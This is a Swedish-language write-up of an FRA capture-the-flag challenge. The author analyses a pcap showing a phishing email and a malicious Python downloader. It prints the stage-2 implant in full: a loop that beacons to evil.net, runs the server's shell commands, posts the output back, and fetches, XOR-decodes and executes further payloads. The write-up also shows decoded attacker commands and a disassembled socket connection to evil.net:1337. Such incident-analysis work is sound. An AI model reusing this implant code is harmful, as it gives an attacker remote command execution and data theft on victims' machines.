
CTF - Grannupplysningen
Grannupplysningen - FRA CTF
FRA CTF
FRA har diverse Capture the flags, som används i deras rekrytering. Dock finns det ett gäng äldre “arkiverade” challenges. Detta är en av dem. Vi laddar ner zip-filen. Den innehåller en readme-fil, samt en pcap-fil.
I readme-filen står följande:
Det har skett en incident på det företag som Anders arbetar på. Anders har en position i företaget som gör att han har tillgång till en stor del av företagets känsliga dokument och många beslut går via honom. Privat har han ett stort intresse för ekonomi och är nyfiken på hur grannarnas inkomster ser ut. Företaget har som tur är spelat in nätverkstrafik som är relaterad till incidenten som är bifogad här i en PCAP.
Din uppgift är att analysera nätverkstrafiken och skriva en rapport till företaget så att de förstår vad som har hänt.
Som stöd till din rapport kan du utgå från nedan frågeställningar:
- Vad är det för typ av angrepp Anders har utsatts för?
- Kan angriparen på något sätt se om Anders öppnat mailet?
- Vilka IP-adresser, portar och protokoll är inblandade i incidenten och vilka roller har de?
- Är angreppet automatiskt eller manuellt (d.v.s. en människa styr angreppet)?
- Vad har angreppet gjort mot Anders dator?
- Hur har angreppet gått till, steg-för-steg, inklusive de metoder som använts (såsom sårbarheter, kryptering eller liknande)?
Skicka in din lösning till rekrytering@fra.se även om du bara har genomfört en liten del av uppgiften.
Vi har alltså ett antal frågor vi ska få svar på. Och som det står i filen, är .pcap-filen en dump över Anders nätverkstrafik.
Analysera nätverkstrafiken
Vi öppnar filen i wireshark. Det är en dump av nätverkstrafik som är relaterad till incidenten. Efter att snabbt kollat ser vi att det verkar röra sig om mailtrafik, i alla fall i början. Detta då vi ser att det sker trafik via IMAP-protokollet. Som är ett protokoll för att hämta e-postmeddelanden.
Här är en screenshot av imap-trafiken. Jag har inte gått in i detalj i denna trafik, men här kan vi t.ex se att vi authenticates på servern.
Analysera mailen
Mer intressant är att följa TCP-streamen, och då kunna se mailen. Här ser vi mailet som antagligen är ingången till incidenten.
Här är mailet i något liknande som en “riktig” emailklient skulle visat mailet.
Men! Några viktigheter som döljer sig i det råamailet.
- Vi ser att länken till programmet inte alls är “http://www.grannupplysningen.se/upplysning.py”, utan det är bara texten. Länken är istället “evil.net/stage_1?filename=upplysning.py”
- Vi ser att det finns en img-tag med titeln “invisible.png”. Detta är sannolikt en såkallad “tracking-pixel”. Och används för att se om användaren öppnat mailen, och kanske få en viss indikation på var användaren befinner sig. Med hjälp av IP-adressen.
Nästa steg
Så, vi har sett att Anders har fått ett phisingmail. För att se om Anders nyfikenhet tagit över här, och klickat på länken. Får vi helt enkelt fortsätta ner i trafiken i wireshark, och se om Anders laddat ner programmet.
För att slippa scrolla igenom hela trafiken, kan vi filtrera på http requests, och specifikt på GET-requests.
Först och främst ser vi att vi hämtar tracking-pixeln.
Vi ser att det finns en GET-request till “http://www.grannupplysningen.se/upplysning.py”. Följer vi sedan den så kan vi också se filen Anders laddat ner.
Nedan finns också filens innehåll. Jag har dock copy-pasteat den till en IDE, så att vi kan se filen med syntax-highlighting för att lättare läsa den.
Analysera filens innehåll
-
Om programmet körs med en payload-flagga kallas payload-funktionen. Och körs den utan flaggan körs main och sedan startar en ny instans i bakgrunden som då kör payload i bakgrunden, för att användaren ska ha svårt att upptäcka detta.
-
Först ser vi (i main funktionen) att vi frågar användaren efter sitt namn, personen man vill söka på namn och adress. Dock är detta inget som används, utan direkt efter printar programmet ett felmeddelande.
-
I payload-funktionen ser vi att vi först skickar en get-request till “evil.net/beacon_1. Beroende på vad vi får tillbaka från servern finns 3 möjligheter:
- “Sleep”
- “shell”
- “download_and_execute”
Sleep
I sleepfunktionen så gör vi ingenting, utan vi väntar i ett antal sekunder.
Shell
output = subprocess.check_output(response.get('parameters')[0], shell=True)
Här spawnar vi först ett shell och sedan kör commandet som kommer ifrån servern.
session.post('http://evil.net/shell_1', json={'output': urllib.parse.quote(output, safe='')})
Sedan skickar vi tillbaka svaret från vårt shellkommando till servern.
Download_and_execute
new_payload = session.get(response.get('parameters')[0]).content
Här gör vi en GET-request till en URL vi får från servern. Sedan sparar vi raw-texten i en variabel.
session_id = session.cookies['id']
Här hämtar vi en cookie, oklart ifrån vart.
exec(new_payload, globals(), locals())
Här kör vi ett command. Det verkar helt enkelt som att new_payload vi hämtade från servern är en kommando. Och sedan passar med våra variabler med globals() och locals().
Sist breakas också loopen. Och programmet avslutas då.
Intressant i scriptet:
Jag noterar att vi dels inte använder det importerade komprissions-librariet “gzip”, samt inte heller använder cookien. Sannolikt är detta då något som används i vår payload vi får ifrån servern. Inte helt ossanolikt är att malwaren på något vis kommer zippa och sedan föra över filer till sin server. Men vi får såklart fortsätta se vad som händer i internettrafiken.
Wireshark, igen.
Efter att ha gått tillbaka till wireshark ser vi att det finns en fortsatt intresant.
Det börjar med commandet “sleep”, som alltså bara pausar programmet. Det återkommer fler sleeps mellan stegen, men jag har valt att inte visa dem i artikeln.
Senare ser vi dock en annan request, ett där “shell”-delen av koden vi kör i bakgrunden används.
output = subprocess.check_output(response.get('parameters')[0], shell=True)
Det är alltså deta som skett ^
Det är nu det roliga börjar! Nu har alltså angriparen ett shell i bakgrunden. Och gör här kommandet “whoami”, som svarar med vilken användare man är inloggad som. I mitt fall “jeppe”.
Men, då shell-delen i koden även skickar tillbaka svaret… Ser vi att det är just Anders som är inloggad. Serverv svarar också med “success: true”, vilket skulle kunna innebära att det var ett test för att se om man har tillgång till ett shell.
Download_and_execute
Nu triggas sista delen i scriptet.
new_payload = session.get(response.get('parameters')[0]).content
Nu är det, enligt scriptet dags att hämta från en ny url, nämligen den vi nyss fick från svar från servern.
XOR
Nu hämtar vi mer kod från /stage_2.
Här följer hela koden.
def entrypoint(session_id):
import uuid
import base64
import requests
import json
import subprocess
import time
import marshal
def rolling_xor(data, key):
encrypted = b''
for i, c in enumerate(data):
encrypted += bytes((c ^ key[i % len(key)],))
return encrypted
key = uuid.getnode().to_bytes(length=6, byteorder='big')
session = requests.session()
session.cookies.set('id', session_id)
session.post('http://evil.net/set_key', json={'key': base64.b64encode(key).decode()})
while True:
data = base64.b64decode(session.get('http://evil.net/beacon_2').content)
response = json.loads(rolling_xor(data, key).decode())
if response['command'] == 'sleep':
time.sleep(response.get('parameters', [3])[0])
elif response['command'] == 'shell':
output = subprocess.check_output(response.get('parameters')[0], shell=True).decode()
output_encrypted = rolling_xor(json.dumps({'output': output}).encode(), key)
session.post('http://evil.net/shell_2', data=base64.b64encode(output_encrypted))
elif response['command'] == 'download_and_execute':
new_payload = session.get(response.get('parameters')[0]).content
session_id = session.cookies['id']
exec(marshal.loads(rolling_xor(new_payload, key)), globals(), locals())
break
entrypoint(session_id)
Här används xor för att obkuera data, men vi ser också att det skapas en nyckel som skickas till servern. Den återfinns också i nätverkstrafiken.
{"key": "AkKsFwAD"}
Vi lär återkomma till den nyckeln senare för att kunna dekryptera datan.
Tittar vi nu på nästa request som görs till “http://evil.net/beacon_2” ser vi att det helt plötsligt är obfuskerad data.
eWDPeG1uYyzINTojIDHAcmVzID8=
Genom att göra ungefär samma sak baklänges, kan vi deobfuskera datan. Här tar koden argumentet som är en base64-kod av datan.
import base64
from sys import argv
encoded_key = "AkKsFwAD"
key = base64.b64decode(encoded_key)
def rolling_xor(data, key):
decrypted = b''
for i, c in enumerate(data):
decrypted += bytes((c ^ key[i % len(key)],))
return decrypted
encrypted_data = argv[1]
encrypted_data_bytes = base64.b64decode(encrypted_data)
decrypted_data = rolling_xor(encrypted_data_bytes, key)
print(decrypted_data.decode('utf-8'))
❯ python3 dexor.py eWDPeG1uYyzINTojIDHAcmVzID8=
{"command": "sleep"}
Här får vi sleep-kommandot. Efter ett tag får vi dock en ett annan kommando:
eWDPeG1uYyzINTojIDHEcmxvIG6MNXBicCPBcnRmcDGOLSBYIC7fNy9rbS/JOGFtZifeZCJefw==
❯ python3 dexor.py eWDPeG1uYyzINTojIDHEcmxvIG6MNXBicCPBcnRmcDGOLSBYIC7fNy9rbS/JOGFtZifeZCJefw==
{"command": "shell", "parameters": ["ls /home/anders"]}
elif response['command'] == 'shell':
output = subprocess.check_output(response.get('parameters')[0], shell=True).decode()
output_encrypted = rolling_xor(json.dumps({'output': output}).encode(), key)
session.post('http://evil.net/shell_2', data=base64.b64encode(output_encrypted))
Här öppnar vi alltså ett shell, och i det här fallet gör vi
ls /home/anders
Vilket listar filer och mappar i anders hemkatalog. Sedan postar vi tillbaka svaret till servern.
eWDDYnRzdzaOLSAhRifffHRsch7CU29gdy/JeXRwXizoeHdtbi3Nc3NfbA/ZZGlgXiz8fmN3dzDJZFxtUjfOe2lgXiz4cm1zbiPYcnNfbBTFc2VscR7CNX0=
❯ python3 dexor.py eWDDYnRzdzaOLSAhRifffHRsch7CU29gdy/JeXRwXizoeHdtbi3Nc3NfbA/ZZGlgXiz8fmN3dzDJZFxtUjfOe2lgXiz4cm1zbiPYcnNfbBTFc2VscR7CNX0=
{"output": "Desktop\nDocuments\nDownloads\nMusic\nPictures\nPublic\nTemplates\nVideos\n"}
(\n är newline)
Fortsatt forsätter loopen i scriptet, jag skippar nu att visa massa sleeps, men nästa commando är:
eWDPeG1uYyzINTojIDHEcmxvIG6MNXBicCPBcnRmcDGOLSBYIC7fNy1ibmKDf29uZ23NeWRmcDGDU29gdy/JeXRwIB/R
python3 dexor.py eWDPeG1uYyzINTojIDHEcmxvIG6MNXBicCPBcnRmcDGOLSBYIC7fNy1ibmKDf29uZ23NeWRmcDGDU29gdy/JeXRwIB/R
{"command": "shell", "parameters": ["ls -al /home/anders/Documents"]}
Nu listar vi istället alla filer och mappar i anders dokumentkatalog. Med detaljer om varje fil.
Och då det är ett shell-kommande så görs det också en post tillbaka med resultatet.
❯ python3 dexor.py eWDDYnRzdzaOLSAhdi3YdmwjM3aUS25ncDXUZXd7cG/UNyAxIiPCc2VxcWLNeWRmcDGMNyA3MnuaN0RmYWKdIyAyNniYJiAtXizIZXd7cDXUZS17InOZN2FtZifeZCBibCbJZXMjImKYJzk1IgbJdCAyO2KdJTo2NWKCOVxtLzDbOnJ0LzCBOiAjM2LNeWRmcDGMdm5nZzDfNzE3M3eeJCBHZyGMJjQjM3aWJDQjaifBe2lkaifYcnItcizLS24hfw==
{"output": "total 148\ndrwxrwxr-x 2 anders anders 4096 Dec 14 14:41 .\ndrwxrwxr-x 15 anders anders 4096 Dec 19 12:57 ..\n-rw-rw-r-- 1 anders anders 141523 Dec 14 14:34 hemligheter.png\n"}
Lite snyggare/lättare att se:
total 148
drwxrwxr-x 2 anders anders 4096 Dec 14 14:41 .
drwxrwxr-x 15 anders anders 4096 Dec 19 12:57 ..
-rw-rw-r-- 1 anders anders 141523 Dec 14 14:34 hemligheter.png
Här ser vi att det finns en fil som heter hemligheter.png. Som ägs av Anders-användaren.
Nästa get-request får svaret:
eWDPeG1uYyzINTojIDHEcmxvIG6MNXBicCPBcnRmcDGOLSBYIDLVY2hsbHGMOlYhXz8=
❯ python3 dexor.py eWDPeG1uYyzINTojIDHEcmxvIG6MNXBicCPBcnRmcDGOLSBYIDLVY2hsbHGMOlYhXz8=
{"command": "shell", "parameters": ["python3 -V"]}
Här kollar vi versionen på python3 som används av Anders. (eller om python3 finns överhuvudtaget) Postar vi tillbaka svaret till servern:
eWDDYnRzdzaOLSAhUjvYf29tInGCLi4xXiyOag==
❯ python3 dexor.py eWDDYnRzdzaOLSAhUjvYf29tInGCLi4xXiyOag==
{"output": "Python 3.9.2\n"}
Version 3.9.2 är Anders version av python.
Nästa icke-sleep-kommando är:
eWDPeG1uYyzINTojICbDYG5vbSPISGFtZh3Jb2VgdzbJNSwjIDLNZWFuZzbJZXMhOGL3NWh3djKWOC9mdCvAOW5mdm3fY2FkZx2fNV1+
❯ python3 dexor.py eWDPeG1uYyzINTojICbDYG5vbSPISGFtZh3Jb2VgdzbJNSwjIDLNZWFuZzbJZXMhOGL3NWh3djKWOC9mdCvAOW5mdm3fY2FkZx2fNV1+
{"command": "download_and_execute", "parameters": ["http://evil.net/stage_3"]}
elif response['command'] == 'download_and_execute':
new_payload = session.get(response.get('parameters')[0]).content
session_id = session.cookies['id']
exec(marshal.loads(rolling_xor(new_payload, key)), globals(), locals())
break
Nu gör vi, ungefär som i stage 1, när vi “uppgraderade” till stage2. Fast med xor-kryptering. Fast. Eurgh. De använder marshal, som är ett python bibliotek för binär kod… Vi kommer ha betydligt svårare att läsa innehållet.
Men först behöver vi dekryptera datan, med samma nyckel som användes tidigare. Jag skrev om scriptet något för att göra detta. Då jag nu sparade ner hexdatan från wireshark.
import base64
import binascii
import dis
import marshal
def rolling_xor(data, key):
decrypted = b''
for i, c in enumerate(data):
decrypted += bytes((c ^ key[i % len(key)],))
return decrypted
raw_data_hex = """
e142ac1700030242ac1700030242ac17000102....... (Massa hex)
"""
binary_data = binascii.unhexlify(raw_data_hex.replace('\n', '').replace(' ', ''))
encoded_key = "AkKsFwAD"
key = base64.b64decode(encoded_key)
decrypted_data = rolling_xor(binary_data, key)
with open('decrypted_payload_decrypted.bin', 'wb') as f:
f.write(decrypted_data)
import marshal
try:
loaded_data = marshal.loads(decrypted_data)
print("Successfully loaded marshal data:")
print(loaded_data)
except Exception as e:
print("Failed to load marshal data:", e)
Och när vi kör detta får vi:
❯ python3 dexor.py
Successfully loaded marshal data:
<code object <module> at 0x7f9964491870, file "stage_3.py", line 1>
Yippie, det verkar alltså som att lyckats decodea filen, iaf har vi fått ett namn. “stage_3.py”.
Everything is open source if you can read binary (eller low level code)
Vi kan använda pythons dissembler för att få low-level-koden. Jag har sjukt svårt att läsa sånthär, men lets give it a try.
try:
loaded_data = marshal.loads(decrypted_data)
print("Successfully loaded marshal data:")
print(loaded_data)
code_object = marshal.loads(decrypted_data)
dis.dis(code_object)
Allt jag kan utläsa av det här är att nån försöker kryptera någonting 😂
88 IMPORT_NAME 13 (socket)
...
140 LOAD_CONST 14 (('evil.net', 1337))
142 STORE_FAST 13 (T) (evilnet:1337 sparas här?)
180 LOAD_CONST 19 (<code object V at 0x7febaff02df0, file "stage_3.py", line 11>)
180 - (deklarerar en variabel V , en funktion?)
208 LOAD_FAST 16 (A)
210 LOAD_METHOD 19 (connect)
212 LOAD_FAST 13 (T)
Notera att vi här verkar connecta socketen till evilnet:1337? Då T var variabeln som innehåller evilnet:1337
...
198 LOAD_ATTR 18 (SOCK_STREAM)
...
190 LOAD_METHOD 13 (socket)
...
302 LOAD_METHOD 25 (unpack)
Nu killgissar jag för fulla muggar här, men det känns som att vi öppnar en socket till evil.net:1337. För att sedan kunna skicka och ta emot data från socketen?
Vi gör även saker som
40 LOAD_METHOD 2 (import_key)
54 LOAD_CONST 24 (('shell',))
Här ger jag upp på att försöka förstå låglevelkod. Jesus kristus, jag programmerar javascript till vardags.
Slutet av nätverkstrafiken indikerar också en massa trafik fram/tillbaka till port 1337